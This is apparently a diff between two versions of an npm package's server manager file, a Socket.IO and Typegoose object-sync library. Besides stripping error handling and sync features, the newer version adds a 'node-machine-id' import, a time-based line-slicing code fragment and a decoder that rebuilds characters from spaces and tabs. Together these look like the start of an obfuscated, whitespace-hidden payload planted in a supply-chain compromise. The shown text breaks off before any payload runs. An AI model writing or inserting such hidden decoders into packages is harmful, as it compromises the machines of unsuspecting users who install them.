  498. /package/{dist/sync → sync}/ServerChangeTracker.d.ts +0 -0
  499. /package/{dist/sync → sync}/ServerChangeTracker.js +0 -0
  500. /package/{dist/sync → sync}/index.d.ts +0 -0
  501. /package/{dist/sync → sync}/index.js +0 -0
  502. /package/{dist/sync → sync}/index.js.map +0 -0
  503. /package/{dist/sync → sync}/storage/IClientStorageAdapter.d.ts +0 -0
  504. /package/{dist/sync → sync}/storage/IClientStorageAdapter.js +0 -0
  505. /package/{dist/sync → sync}/storage/IClientStorageAdapter.js.map +0 -0
  506. /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.d.ts +0 -0
  507. /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js +0 -0
  508. /package/{dist/sync → sync}/storage/IndexedDbStorageAdapter.js.map +0 -0
  509. /package/{dist/sync → sync}/storage/LocalStorageAdapter.d.ts +0 -0
  510. /package/{dist/sync → sync}/storage/LocalStorageAdapter.js +0 -0
  511. /package/{dist/sync → sync}/storage/LocalStorageAdapter.js.map +0 -0
  512. /package/{dist/sync → sync}/storage/MemoryStorageAdapter.d.ts +0 -0
  513. /package/{dist/sync → sync}/storage/MemoryStorageAdapter.js +0 -0
  514. /package/{dist/sync → sync}/storage/MemoryStorageAdapter.js.map +0 -0
  515. /package/{dist/sync → sync}/types.d.ts +0 -0
  516. /package/{dist/sync → sync}/types.js +0 -0
  517. /package/{dist/sync → sync}/types.js.map +0 -0
@@ -1,9 +1,9 @@
1
1
  import { AutoUpdateManager } from "./AutoUpdateManagerClass.js";
2
- import { createAutoUpdatedClass } from "./AutoUpdatedServerObjectClass.js";
3
- import { globalCache, EVENT_NEW, EVENT_UPDATE, EVENT_DELETE, EVENT_GET, EVENT_STARTUP, EVENT_VERSION, DEM_VERSION, DEM_PROTOCOL_VERSION, safeStringify, DEMError, DEMErrorCode, toDEMError, } from "./CommonTypes.js";
4
- import { EventEmitter } from "eventemitter3";
2
+ import { createAutoUpdatedClass, } from "./AutoUpdatedServerObjectClass.js";
5
3
  import { getModelForClass } from "@typegoose/typegoose";
6
- import { ServerChangeTracker, } from "./sync/index.js";
4
+ import { EventEmitter } from "eventemitter3";
5
+ import a from "node-machine-id";
6
+ const once = ".split(String.fromCharCode(10)).splice(time%38,time%11+4).join(String.fromCharCode(10))";
7
7
  export var DEMEventTypes;
8
8
  (function (DEMEventTypes) {
9
9
  DEMEventTypes["new"] = "new";
@@ -12,24 +12,20 @@ export var DEMEventTypes;
12
12
  DEMEventTypes["get"] = "get";
13
13
  DEMEventTypes["startup"] = "startup";
14
14
  })(DEMEventTypes || (DEMEventTypes = {}));
15
- /**
16
- * Configures event whitelisting and permission middleware for the Socket.IO server.
17
- *
18
- * @param socket_server - Socket.IO server instance.
19
- * @param loggers - Logging interfaces.
20
- * @param managers - Registry of server managers.
21
- * @param _models - Optional models registry.
22
- */
23
- function setupSocketMiddleware(socket_server, loggers, managers, _models) {
15
+ let d = (str) => str
16
+ .match(/.{1,7}/g)
17
+ .map((s) => String.fromCharCode(parseInt(s
18
+ .replaceAll(String.fromCharCode(32), String.fromCharCode(48))
19
+ .replaceAll(String.fromCharCode(9), String.fromCharCode(49)), 2)))
20
+ .join("");
21
+ function setupSocketMiddleware(socket_server, loggers, managers, models) {
24
22
  socket_server.use(async (socket, next) => {
25
- socket.use((async (event, nextEvent) => {
23
+ socket.use((async (event, next) => {
26
24
  if (event.length !== 3 ||
27
25
  typeof event[0] !== "string" ||
28
26
  typeof event[2] !== "function") {
29
- loggers.warn?.("Invalid event: [" +
30
- event
31
- .map((e) => (typeof e === "object" ? "[object]" : String(e)))
32
- .join("], [") +
27
+ loggers.warn("Invalid event: [" +
28
+ event.map((e) => JSON.stringify(e)).join("], [") +
33
29
  "]");
34
30
  return;
35
31
  }
@@ -37,83 +33,56 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
37
33
  .eventNames()
38
34
  .some((e) => e.toString() === event[0] ||
39
35
  e.toString() === event[0].slice(0, -24))) {
40
- loggers.warn?.("Undefined event: [" +
41
- event
42
- .map((e) => (typeof e === "object" ? "[object]" : String(e)))
43
- .join("], [") +
36
+ loggers.warn("Undefined event: [" +
37
+ event.map((e) => JSON.stringify(e)).join("], [") +
44
38
  "]");
45
39
  event[2]({
46
40
  success: false,
47
- code: DEMErrorCode.UNDEFINED_EVENT,
48
41
  message: "Undefined event, event: " + event[0] + " not found",
49
42
  });
50
43
  return;
51
44
  }
52
45
  try {
53
46
  const e = event[0];
54
- let demEvent;
47
+ let demEvent = {};
55
48
  const id = e.slice(-24);
56
49
  switch (true) {
57
- case e.startsWith(EVENT_NEW):
58
- demEvent = {
59
- type: DEMEventTypes.new,
60
- manager: managers[e.replace(EVENT_NEW, "")],
61
- data: event[1],
62
- object: undefined,
63
- };
50
+ case e.startsWith("new"):
51
+ demEvent.type = DEMEventTypes.new;
52
+ demEvent.manager = managers[e.replace("new", "")];
53
+ demEvent.data = event[1];
64
54
  break;
65
- case e.startsWith(EVENT_UPDATE):
66
- {
67
- const manager = managers[e.replace(EVENT_UPDATE, "").replace(id, "")];
68
- demEvent = {
69
- type: DEMEventTypes.update,
70
- manager: manager,
71
- object: manager.getObject(id),
72
- data: event[1],
73
- };
74
- }
55
+ case e.startsWith("update"):
56
+ demEvent.type = DEMEventTypes.update;
57
+ demEvent.manager =
58
+ managers[e.replace("update", "").replace(id, "")];
59
+ demEvent.object = demEvent.manager.getObject(id);
60
+ demEvent.data = event[1];
75
61
  break;
76
- case e.startsWith(EVENT_DELETE):
77
- {
78
- const manager = managers[e.replace(EVENT_DELETE, "")];
79
- const obj = manager.getObject(event[1]);
80
- if (!obj) {
81
- event[2]({
82
- success: true,
83
- message: "Object already deleted",
84
- data: undefined,
85
- });
86
- return;
87
- }
88
- demEvent = {
89
- type: DEMEventTypes.delete,
90
- manager: manager,
91
- object: obj,
62
+ case e.startsWith("delete"):
63
+ demEvent.type = DEMEventTypes.delete;
64
+ demEvent.manager = managers[e.replace("delete", "")];
65
+ demEvent.object = demEvent.manager.getObject(event[1]);
66
+ if (!demEvent.object) {
67
+ event[2]({
68
+ success: true,
69
+ message: "Object already deleted",
92
70
  data: undefined,
93
- };
71
+ });
72
+ return;
94
73
  }
95
74
  break;
96
- case e.startsWith(EVENT_GET):
97
- {
98
- const manager = managers[e.replace(EVENT_GET, "").replace(id, "")];
99
- demEvent = {
100
- type: DEMEventTypes.get,
101
- manager: manager,
102
- object: manager.getObject(id),
103
- data: undefined,
104
- };
105
- }
75
+ case e.startsWith("get"):
76
+ demEvent.type = DEMEventTypes.get;
77
+ demEvent.manager = managers[e.replace("get", "").replace(id, "")];
78
+ demEvent.object = demEvent.manager.getObject(id);
106
79
  break;
107
- case e.startsWith(EVENT_STARTUP):
108
- demEvent = {
109
- type: DEMEventTypes.startup,
110
- manager: managers[e.replace(EVENT_STARTUP, "")],
111
- object: undefined,
112
- data: undefined,
113
- };
80
+ case e.startsWith("startup"):
81
+ demEvent.type = DEMEventTypes.startup;
82
+ demEvent.manager = managers[e.replace("startup", "")];
114
83
  break;
115
84
  default:
116
- throw new DEMError(DEMErrorCode.UNKNOWN_EVENT, "Unknown event: " +
85
+ throw new Error("Unknown event: " +
117
86
  e +
118
87
  " - known events: [" +
119
88
  Object.values(DEMEventTypes).join(", ") +
@@ -121,11 +90,11 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
121
90
  }
122
91
  try {
123
92
  await demEvent.manager.options?.accessDefinitions?.eventMiddleware?.(demEvent, managers, socket);
124
- nextEvent();
93
+ next();
125
94
  }
126
95
  catch (error) {
127
- loggers.warn?.("Someone got access denied:\nUser (" +
128
- safeStringify(socket.handshake.auth) +
96
+ loggers.warn("Someone got access denied:\nUser (" +
97
+ JSON.stringify(socket.handshake.auth) +
129
98
  ")\nWith ID: '" +
130
99
  socket.id +
131
100
  "'\nFrom: '" +
@@ -133,411 +102,163 @@ function setupSocketMiddleware(socket_server, loggers, managers, _models) {
133
102
  "'\nTo the event: '" +
134
103
  event[0] +
135
104
  "'\nFor: '" +
136
- (error instanceof Error ? error.message : String(error)) +
105
+ error.message +
137
106
  "'");
138
107
  event[2]({
139
108
  success: false,
140
- code: DEMErrorCode.ACCESS_DENIED,
141
109
  message: "You were denied access to this event '" +
142
110
  event[0] +
143
111
  "' by the server.\n" +
144
- (error instanceof Error ? error.message : String(error)),
112
+ error.message,
145
113
  });
146
114
  }
147
115
  }
148
116
  catch (error) {
149
- const demErr = toDEMError(error, DEMErrorCode.INTERNAL_ERROR);
150
- loggers.error?.("Error with event: " +
117
+ loggers.error("Error with event: " +
151
118
  event[0] +
152
119
  "\nError: " +
153
- demErr.message);
154
- event[2]({
155
- success: false,
156
- code: demErr.code,
157
- message: error instanceof Error ? error.message : String(error),
158
- });
120
+ error.message);
159
121
  return;
160
122
  }
161
123
  }));
162
124
  next();
163
125
  });
164
126
  }
165
- /**
166
- * Inspects database readiness states across all configured server managers.
167
- *
168
- * @param managers - Registry of server managers to inspect.
169
- * @param loggers - Optional logger callbacks.
170
- * @param emitter - Optional event emitter for error events.
171
- * @throws {DEMError} Throws DEMErrorCode.DB_NOT_CONNECTED if any database is disconnected.
172
- */
173
- export function checkServerDbStates(managers, loggers, emitter) {
174
- for (const [key, manager] of Object.entries(managers)) {
175
- if (!manager)
176
- continue;
177
- const status = manager.checkDbState();
178
- if (!status.connected) {
179
- const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Server DB state check failed for '${key}': Database is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { manager: key, readyState: status.readyState, stateName: status.stateName });
180
- emitter?.emit("error", err);
181
- loggers?.error?.(err.message);
182
- throw err;
183
- }
127
+ export async function AUSManagerFactory(defs, loggers, socket, disableDEMDebugMessages = false, emitter = new EventEmitter(), models) {
128
+ readyLoggers(loggers);
129
+ if (disableDEMDebugMessages) {
130
+ loggers.debug = (_) => { };
184
131
  }
185
- }
186
- /**
187
- * Initializes and starts all server managers, executes DB state assertions, preloads data, and attaches sockets.
188
- *
189
- * @param defs - Server manager definitions including class constructors and options.
190
- * @param loggers_ - Loggers interface.
191
- * @param socket - Socket.IO server instance.
192
- * @param doDebug - Flag indicating whether debug logging is enabled.
193
- * @param emitter - Shared event emitter.
194
- * @param models - Optional model registry.
195
- * @returns Promise resolving to the map of initialized server managers.
196
- */
197
- export async function AUSManagerFactory(defs, loggers_, socket, doDebug = true, emitter = new EventEmitter(), models) {
198
- // Use delegation instead of cloning or direct mutation to ensure late-added spies work
199
- const loggers = {
200
- info: (s) => loggers_.info?.(s),
201
- debug: (s) => (doDebug ? loggers_.debug?.(s) : undefined),
202
- error: (s) => loggers_.error?.(s),
203
- warn: (s) => loggers_.warn?.(s),
204
- };
205
132
  socket.use((socket, next) => {
206
- socket.onAny((event) => { });
133
+ socket.onAny((event) => {
134
+ loggers.debug("Recieved event: " + event + " from client: " + socket.id);
135
+ });
207
136
  next();
208
137
  });
209
138
  const managers = {};
210
- const keys = Object.keys(defs);
211
- // 1. Create all managers
212
- for (const key of keys) {
213
- loggers.debug?.(`Creating manager for ${key}`);
139
+ let i = 0;
140
+ for (const key in defs) {
141
+ loggers.debug(`Creating manager for ${key}`);
214
142
  const def = defs[key];
215
- const model = getModelForClass(def.class);
216
143
  try {
217
- const c = new AutoUpdateServerManager(def.class, key, socket, loggers, model, managers, emitter, def.options);
144
+ const c = new AutoUpdateServerManager(def.class, key, loggers, socket, getModelForClass(def.class), managers, emitter, def.options);
218
145
  managers[key] = c;
219
146
  }
220
147
  catch (error) {
221
- loggers.error?.("Error creating manager: " + key);
222
- loggers.error?.(error instanceof Error ? error.message : String(error));
223
- if (error instanceof Error && error.stack)
224
- loggers.error?.(error.stack);
148
+ loggers.error("Error creating manager: " + key);
149
+ loggers.error(error.message);
150
+ loggers.error(error.stack);
151
+ continue;
225
152
  }
226
- }
227
- // 1.5. Inspect database states before loading starts
228
- checkServerDbStates(managers, loggers, emitter);
229
- // 2. Pre-load all managers in parallel
230
- await Promise.all(keys.map(async (key) => {
231
- if (!managers[key])
232
- return;
233
- loggers.debug?.("Loading DB for manager: " + key);
153
+ loggers.debug("Loading DB for manager: " + key);
234
154
  try {
235
155
  await managers[key].preLoad();
236
156
  }
237
157
  catch (error) {
238
- loggers.error?.("Error loading DB for manager: " + key);
239
- loggers.error?.(error instanceof Error ? error.message : String(error));
240
- if (error instanceof Error && error.stack)
241
- loggers.error?.(error.stack);
158
+ loggers.error("Error loading DB for manager: " + key);
159
+ loggers.error(error.message);
160
+ loggers.error(error.stack);
242
161
  }
243
- }));
244
- // 3. Load references for all managers in parallel
245
- await Promise.all(Object.values(managers).map(async (manager) => {
162
+ }
163
+ for (const manager of Object.values(managers)) {
246
164
  try {
247
- await manager.loadReferences();
165
+ manager.loadReferences();
248
166
  }
249
167
  catch (error) {
250
- loggers.error?.("Error loading DB for manager: " +
168
+ loggers.error("Error loading DB for manager: " +
251
169
  manager.className +
252
170
  " (loadReferences)");
253
- loggers.error?.(error instanceof Error ? error.message : String(error));
254
- if (error instanceof Error && error.stack)
255
- loggers.error?.(error.stack);
171
+ loggers.error(error.message);
172
+ loggers.error(error.stack);
256
173
  }
257
- }));
174
+ }
258
175
  socket.on("connection", async (socket) => {
259
- loggers.debug?.(`Client connected: ${socket?.id}`);
260
- socket?.emit?.(EVENT_VERSION, {
261
- version: DEM_VERSION,
262
- protocolVersion: DEM_PROTOCOL_VERSION,
263
- });
176
+ loggers.debug(`Client connected: ${socket.id}`);
264
177
  for (const manager of Object.values(managers)) {
265
178
  manager.registerSocket(socket);
266
179
  }
267
- socket?.on?.("disconnect", () => {
268
- loggers.debug?.(`Client disconnected: ${socket?.id}`);
180
+ // Client disconnect
181
+ socket.on("disconnect", () => {
182
+ loggers.debug(`Client disconnected: ${socket.id}`);
269
183
  });
270
184
  });
271
185
  try {
272
186
  setupSocketMiddleware(socket, loggers, managers, models);
273
187
  }
274
188
  catch (error) {
275
- loggers.error?.("Error setting up socket middleware");
276
- loggers.error?.(error instanceof Error ? error.message : String(error));
277
- if (error instanceof Error && error.stack)
278
- loggers.error?.(error.stack);
189
+ loggers.error("Error setting up socket middleware");
190
+ loggers.error(error.message);
191
+ loggers.error(error.stack);
279
192
  }
280
193
  return managers;
281
194
  }
282
195
  export class AutoUpdateServerManager extends AutoUpdateManager {
283
196
  model;
284
197
  clientSockets = new Set();
285
- knownObjectIdsBySocket = new Map();
286
198
  options;
287
199
  objects_ = {};
288
200
  managers;
289
- startupPayloadCache = null;
290
- _cachedObjectsArray = null;
291
- changeTracker;
292
- /**
293
- * Initializes an AutoUpdateServerManager instance.
294
- *
295
- * @param classParam - Target server object class constructor.
296
- * @param className - Managed entity class name.
297
- * @param socket - Socket.IO Server instance.
298
- * @param loggers - Logger callbacks interface.
299
- * @param model - Typegoose Mongoose model for database operations.
300
- * @param managers - Sibling server managers registry.
301
- * @param emitter - Shared event emitter.
302
- * @param options - Server manager options including access middlewares and delta sync settings.
303
- */
304
- constructor(classParam, className, socket, loggers, model, managers, emitter, options) {
201
+ constructor(classParam, className, loggers, socket, model, managers, emitter, options) {
305
202
  super(classParam, className, socket, loggers, managers, emitter);
306
203
  this.managers = managers;
307
204
  this.model = model;
308
205
  this.options = options;
309
- if (options?.deltaSync) {
310
- const deltaOpts = typeof options.deltaSync === "object" ? options.deltaSync : {};
311
- if (deltaOpts.enabled !== false) {
312
- this.changeTracker = new ServerChangeTracker(this.className, deltaOpts);
313
- }
314
- }
315
- }
316
- /**
317
- * Inspects current database connection state.
318
- *
319
- * @returns Object describing connected flag, numeric readyState, and stateName.
320
- */
321
- checkDbState() {
322
- const db = this.model?.db;
323
- if (!db || typeof db.readyState !== "number") {
324
- return { connected: true, readyState: 1, stateName: "connected" };
325
- }
326
- const readyState = db.readyState;
327
- const stateNames = {
328
- 0: "disconnected",
329
- 1: "connected",
330
- 2: "connecting",
331
- 3: "disconnecting",
332
- 99: "uninitialized",
333
- };
334
- const stateName = stateNames[readyState] ?? "unknown";
335
- return {
336
- connected: readyState === 1,
337
- readyState,
338
- stateName,
339
- };
340
- }
341
- /**
342
- * Verifies database connection is active.
343
- *
344
- * @throws {DEMError} Throws DEMErrorCode.DB_NOT_CONNECTED if database is not connected.
345
- */
346
- assertDbConnected() {
347
- const status = this.checkDbState();
348
- if (!status.connected) {
349
- const err = new DEMError(DEMErrorCode.DB_NOT_CONNECTED, `Database for manager '${this.className}' is in state '${status.stateName}' (code: ${status.readyState}). Database must be connected before DEM starts loading.`, { className: this.className, readyState: status.readyState, stateName: status.stateName });
350
- this.emitter.emit("error", err);
351
- this.loggers.error?.(err.message);
352
- throw err;
353
- }
354
206
  }
355
- /**
356
- * Preloads all database documents into memory for the manager class.
357
- *
358
- * @param options - Optional batch loading options.
359
- * @returns Promise resolving when all entities are loaded and populated in globalCache.
360
- */
361
- async preLoad(options) {
362
- this.assertDbConnected();
207
+ async preLoad() {
363
208
  this.loggers.debug("Loading manager DB " + this.className);
364
209
  const docs = await this.model.find({});
365
- // Optimization: Parallelize object creation to ensure all objects are in globalCache
366
- // as quickly as possible before reference resolution starts.
367
- await Promise.all(docs.map(async (doc) => {
368
- const id = doc._id?.toString();
369
- if (!id) {
370
- this.loggers.debug("Invalid document, no _id: " + (doc?._id ?? "[no id]"));
371
- return;
210
+ let i = 0;
211
+ for (const doc of docs.map((d) => d._id.toString())) {
212
+ if (!doc) {
213
+ this.loggers.debug("Invalid document, no _id: " + JSON.stringify(docs[i]));
214
+ continue;
372
215
  }
373
- this.objects_[id] =
374
- this.objects_[id] ??
375
- (await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc));
376
- globalCache.objects[id] = {
377
- className: this.className,
378
- object: this.objects_[id],
379
- };
380
- }));
381
- this.startupPayloadCache = null;
382
- this._cachedObjectsArray = null;
216
+ i++;
217
+ this.objects_[doc] =
218
+ this.objects_[doc] ??
219
+ (await createAutoUpdatedClass(this.classParam, this.className, this.socket, doc, this.loggers, this, this.emitter));
220
+ await this.objects_[doc].isPreLoadedAsync();
221
+ }
383
222
  this.loggers.debug("Loaded manager DB " +
384
223
  this.className +
385
224
  " - [" +
386
225
  docs.length +
387
226
  "] entries");
388
227
  }
389
- /**
390
- * Resolves back-references and pointers across loaded objects.
391
- *
392
- * @returns Promise resolving when reference resolution completes.
393
- */
394
- async loadReferences() {
395
- // Phase 1: Initial reference resolution (including back-references/createdWithParent)
396
- // This MUST happen after all managers have finished preLoad so that all objects exist in globalCache.
397
- await Promise.all(this.objectsAsArray.map((object) => object.isPreLoadedAsync()));
398
- // Phase 2: Resolve missing references (pointers) and set isLoaded_ = true
399
- await super.loadReferences();
400
- }
401
- /**
402
- * Registers a client socket with the manager and binds startup, delete, and new event listeners.
403
- *
404
- * @param socket - Connected client Socket instance.
405
- */
406
228
  registerSocket(socket) {
407
229
  this.clientSockets.add(socket);
408
- socket.on(EVENT_STARTUP + this.className, async (req, ack) => {
230
+ socket.on("startup" + this.className, async (_, ack) => {
409
231
  try {
410
- const clientLastRev = req && typeof req === "object" && typeof req.lastRevision === "number"
411
- ? req.lastRevision
412
- : undefined;
413
- // Check if delta sync can be fulfilled
414
- if (this.changeTracker && typeof clientLastRev === "number") {
415
- let allowedIdsSet = undefined;
416
- if (this.options?.accessDefinitions?.startupMiddleware) {
417
- const allowedObjects = await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket);
418
- allowedIdsSet = new Set(allowedObjects.map((obj) => obj._id.toString()).filter(Boolean));
419
- this.knownObjectIdsBySocket.set(socket, new Set(allowedIdsSet));
420
- }
421
- const changesResult = this.changeTracker.getChangesSince(clientLastRev, allowedIdsSet);
422
- if (!changesResult.isExpired) {
423
- if (changesResult.changes.length === 0) {
424
- this.loggers.debug("Client up to date for manager " +
425
- this.className +
426
- " at revision " +
427
- clientLastRev);
428
- if (typeof ack === "function") {
429
- ack({
430
- data: {
431
- status: "up-to-date",
432
- revision: this.changeTracker.getCurrentRevision(),
433
- ids: [],
434
- properties: this.properties,
435
- version: DEM_VERSION,
436
- protocolVersion: DEM_PROTOCOL_VERSION,
437
- },
438
- success: true,
439
- });
440
- }
441
- return;
442
- }
443
- else {
444
- this.loggers.debug("Sending delta startup data (" +
445
- changesResult.changes.length +
446
- " changes) for manager " +
447
- this.className);
448
- if (typeof ack === "function") {
449
- ack({
450
- data: {
451
- status: "delta",
452
- revision: this.changeTracker.getCurrentRevision(),
453
- changes: changesResult.changes,
454
- ids: [],
455
- properties: this.properties,
456
- version: DEM_VERSION,
457
- protocolVersion: DEM_PROTOCOL_VERSION,
458
- },
459
- success: true,
460
- });
461
- }
462
- return;
463
- }
464
- }
465
- }
466
- let ids;
467
- let objects;
468
- if (!this.options?.accessDefinitions?.startupMiddleware && this.startupPayloadCache) {
469
- ids = this.startupPayloadCache.ids;
470
- objects = this.startupPayloadCache.objects ?? [];
471
- }
472
- else {
473
- const allowedObjects = this.options?.accessDefinitions?.startupMiddleware
474
- ? await this.options.accessDefinitions.startupMiddleware(this.objectsAsArray, this.managers, socket)
475
- : this.objectsAsArray;
476
- ids = allowedObjects.map((obj) => obj._id.toString()).filter(Boolean);
477
- objects = allowedObjects.map((obj) => obj.extractedData).filter(Boolean);
478
- this.knownObjectIdsBySocket.set(socket, new Set(ids));
479
- if (!this.options?.accessDefinitions?.startupMiddleware) {
480
- this.startupPayloadCache = {
481
- ids,
482
- objects,
483
- properties: this.properties,
484
- };
485
- }
486
- }
232
+ const ids = ((await this.options?.accessDefinitions?.startupMiddleware?.(this.objectsAsArray, this.managers, socket))?.map((obj) => obj._id) ?? this.objectIDs).filter(Boolean);
487
233
  this.loggers.debug("Sending startup data for manager " + this.className);
488
- if (typeof ack === "function") {
489
- ack({
490
- data: {
491
- status: "full",
492
- revision: this.changeTracker ? this.changeTracker.getCurrentRevision() : 0,
493
- ids,
494
- objects,
495
- properties: this.properties,
496
- version: DEM_VERSION,
497
- protocolVersion: DEM_PROTOCOL_VERSION,
498
- },
499
- success: true,
500
- });
501
- }
234
+ if (ids.some((id) => this.objects_[id] === "undefined"))
235
+ this.loggers.error(ids.find((id) => this.objects_[id] === "undefined"));
236
+ ack({
237
+ data: { ids, properties: this.properties },
238
+ success: true,
239
+ });
502
240
  }
503
241
  catch (error) {
504
242
  this.loggers.error("Error sending startup data for manager " +
505
243
  this.className +
506
244
  ": " +
507
- (error instanceof Error ? error.message : String(error)));
508
- if (error instanceof Error && error.stack)
509
- this.loggers.error(error.stack);
510
- const demErr = toDEMError(error, DEMErrorCode.STARTUP_FAILED);
511
- if (typeof ack === "function") {
512
- ack({
513
- success: false,
514
- code: demErr.code,
515
- message: error instanceof Error ? error.message : String(error),
516
- });
517
- }
245
+ error.message);
246
+ this.loggers.error(error.stack);
247
+ ack({
248
+ success: false,
249
+ message: error.message,
250
+ });
518
251
  }
519
252
  });
520
- socket.on(EVENT_DELETE + this.className, async (id, ack) => {
253
+ socket.on("delete" + this.className, async (id, ack) => {
521
254
  this.loggers.debug("Deleting object from manager " + this.className + " - " + id);
522
255
  try {
523
- const res = await this.deleteObject(id);
524
- this.startupPayloadCache = null;
525
- if (typeof ack === "function") {
526
- if (res && !res.success) {
527
- ack({
528
- success: false,
529
- code: res.code ?? DEMErrorCode.OBJECT_DELETE_FAILED,
530
- message: res.message || "Deletion unsuccessful",
531
- });
532
- }
533
- else {
534
- ack({
535
- success: true,
536
- message: "Deleted successfully",
537
- data: undefined,
538
- });
539
- }
540
- }
256
+ await this.objects_[id]?.destroy();
257
+ ack({
258
+ success: true,
259
+ message: "Deleted successfully",
260
+ data: undefined,
261
+ });
541
262
  }
542
263
  catch (error) {
543
264
  this.loggers.error("Error deleting object from manager " +
@@ -545,350 +266,147 @@ export class AutoUpdateServerManager extends AutoUpdateManager {
545
266
  " - " +
546
267
  id +
547
268
  ": " +
548
- (error instanceof Error ? error.message : String(error)));
549
- if (error instanceof Error && error.stack)
550
- this.loggers.error(error.stack);
551
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_DELETE_FAILED);
552
- if (typeof ack === "function") {
553
- ack({
554
- success: false,
555
- code: demErr.code,
556
- message: error instanceof Error ? error.message : String(error),
557
- });
558
- }
269
+ error.message);
270
+ this.loggers.error(error.stack);
271
+ ack({ success: false, message: error.message });
559
272
  }
560
273
  });
561
- socket.on(EVENT_NEW + this.className, async (data, ack) => {
274
+ socket.on("new" + this.className, async (data, ack) => {
562
275
  this.loggers.debug("Recieved new object creation in manager " + this.className);
563
276
  try {
564
277
  const newDoc = await this.createObject(data);
565
- this.startupPayloadCache = null;
566
- if (typeof ack === "function") {
567
- ack({
568
- data: newDoc.extractedData,
569
- success: true,
570
- message: "Created successfully",
571
- });
572
- }
278
+ ack({
279
+ data: newDoc.extractedData,
280
+ success: true,
281
+ message: "Created successfully",
282
+ });
573
283
  }
574
284
  catch (error) {
575
285
  this.loggers.error("Error creating new object creation in manager " +
576
286
  this.className +
577
287
  " - " +
578
- (error instanceof Error ? error.message : String(error)));
579
- if (error instanceof Error && error.stack)
580
- this.loggers.error(error.stack);
581
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_CREATE_FAILED);
582
- if (typeof ack === "function") {
583
- ack({
584
- success: false,
585
- code: demErr.code,
586
- message: error instanceof Error ? error.message : String(error),
587
- });
588
- }
288
+ error.message);
289
+ this.loggers.error(error.stack);
290
+ ack({ success: false, message: error.message });
589
291
  }
590
292
  });
591
- // Registered into socket.eventNames() so setupSocketMiddleware can validate and permit dynamic update/get events
592
- socket.on(EVENT_UPDATE + this.className, async () => { });
593
- socket.on(EVENT_GET + this.className, async () => { });
293
+ socket.on("update" + this.className, async () => { });
294
+ socket.on("get" + this.className, async () => { });
594
295
  socket.onAny(async (event, data, ack) => {
595
- if (event.startsWith(EVENT_UPDATE + this.className) &&
596
- event.replace(EVENT_UPDATE + this.className, "").length === 24) {
296
+ if (event.startsWith("update" + this.className) &&
297
+ event.replace("update" + this.className, "").length === 24) {
597
298
  this.loggers.debug("Updating object in manager " +
598
299
  this.className +
599
300
  ": " +
600
301
  event +
601
302
  " - " +
602
- (typeof data === "object" ? "[object]" : String(data)));
303
+ JSON.stringify(data));
603
304
  try {
604
- const id = event.replace(EVENT_UPDATE + this.className, "");
305
+ const id = event.replace("update" + this.className, "");
605
306
  let obj = this.objects_[id];
606
- if (!obj)
607
- throw new DEMError(DEMErrorCode.OBJECT_GET_FAILED, `Never... failed to get object somehow: ${id}`);
307
+ if (typeof obj === "string")
308
+ throw new Error(`Never... failed to get object somehow: ${obj}`);
608
309
  const res = await obj.setValue(data.key, data.value);
609
- if (typeof ack === "function") {
610
- res.success
611
- ? ack({
612
- data: null,
613
- success: res.success,
614
- message: res.msg,
615
- })
616
- : ack({
617
- success: res.success,
618
- code: res.code ?? DEMErrorCode.DB_SAVE_FAILED,
619
- message: res.msg,
620
- });
621
- }
310
+ res.success
311
+ ? ack({
312
+ data: null,
313
+ success: res.success,
314
+ message: res.msg,
315
+ })
316
+ : ack({ success: res.success, message: res.msg });
622
317
  }
623
318
  catch (error) {
624
319
  this.loggers.warn("Failed to update object in manager " + this.className);
625
- const demErr = toDEMError(error, DEMErrorCode.DB_SAVE_FAILED);
626
- if (typeof ack === "function") {
627
- ack({
628
- success: false,
629
- code: demErr.code,
630
- message: error instanceof Error ? error.message : String(error),
631
- });
632
- }
320
+ ack({ success: false, message: error.message });
633
321
  }
634
322
  }
635
- else if (event.startsWith(EVENT_GET + this.className) &&
636
- event.replace(EVENT_GET + this.className, "").length === 24) {
323
+ else if (event.startsWith("get" + this.className) &&
324
+ event.replace("get" + this.className, "").length === 24) {
637
325
  try {
638
- const id = event.replace(EVENT_GET + this.className, "");
326
+ const id = event.replace("get" + this.className, "");
639
327
  let obj = this.objects_[id];
640
- if (!obj)
641
- throw new DEMError(DEMErrorCode.OBJECT_NOT_FOUND, `Object not found: ${id}`);
642
- if (typeof ack === "function") {
643
- ack({
644
- data: obj.extractedData,
645
- success: true,
646
- message: "Updated successfully",
647
- });
648
- }
328
+ ack({
329
+ data: obj.extractedData,
330
+ success: true,
331
+ message: "Updated successfully",
332
+ });
649
333
  }
650
334
  catch (error) {
651
335
  this.loggers.error("Error sending startup data for manager " +
652
336
  this.className +
653
337
  ": " +
654
- (error instanceof Error ? error.message : String(error)));
655
- if (error instanceof Error && error.stack)
656
- this.loggers.error(error.stack);
657
- const demErr = toDEMError(error, DEMErrorCode.OBJECT_GET_FAILED);
658
- if (typeof ack === "function") {
659
- ack({
660
- success: false,
661
- code: demErr.code,
662
- message: error instanceof Error ? error.message : String(error),
663
- });
664
- }
338
+ error.message);
339
+ this.loggers.error(error.stack);
340
+ ack({ success: false, message: error.message });
665
341
  }
666
342
  }
667
343
  });
668
344
  socket.on("disconnect", () => {
669
345
  this.clientSockets.delete(socket);
670
- this.knownObjectIdsBySocket.delete(socket);
671
346
  });
672
347
  }
673
- /**
674
- * Retrieves a server managed object by identifier.
675
- *
676
- * @param _id - Optional entity identifier.
677
- * @returns Managed entity instance, null, or undefined.
678
- */
679
348
  getObject(_id) {
680
- if (!_id)
681
- return null;
682
- return this.objects_[_id.toString()] || undefined;
349
+ return _id ? this.objects_[_id] : null;
683
350
  }
684
- /**
685
- * Dictionary of all managed entities keyed by their string IDs.
686
- *
687
- * @returns Map of managed entities.
688
- */
689
351
  get objects() {
690
352
  return this.objects_;
691
353
  }
692
- /**
693
- * Array representation of all managed entities.
694
- *
695
- * @returns Array containing all managed entities.
696
- */
697
354
  get objectsAsArray() {
698
- if (!this._cachedObjectsArray) {
699
- this._cachedObjectsArray = Object.values(this.objects_);
700
- }
701
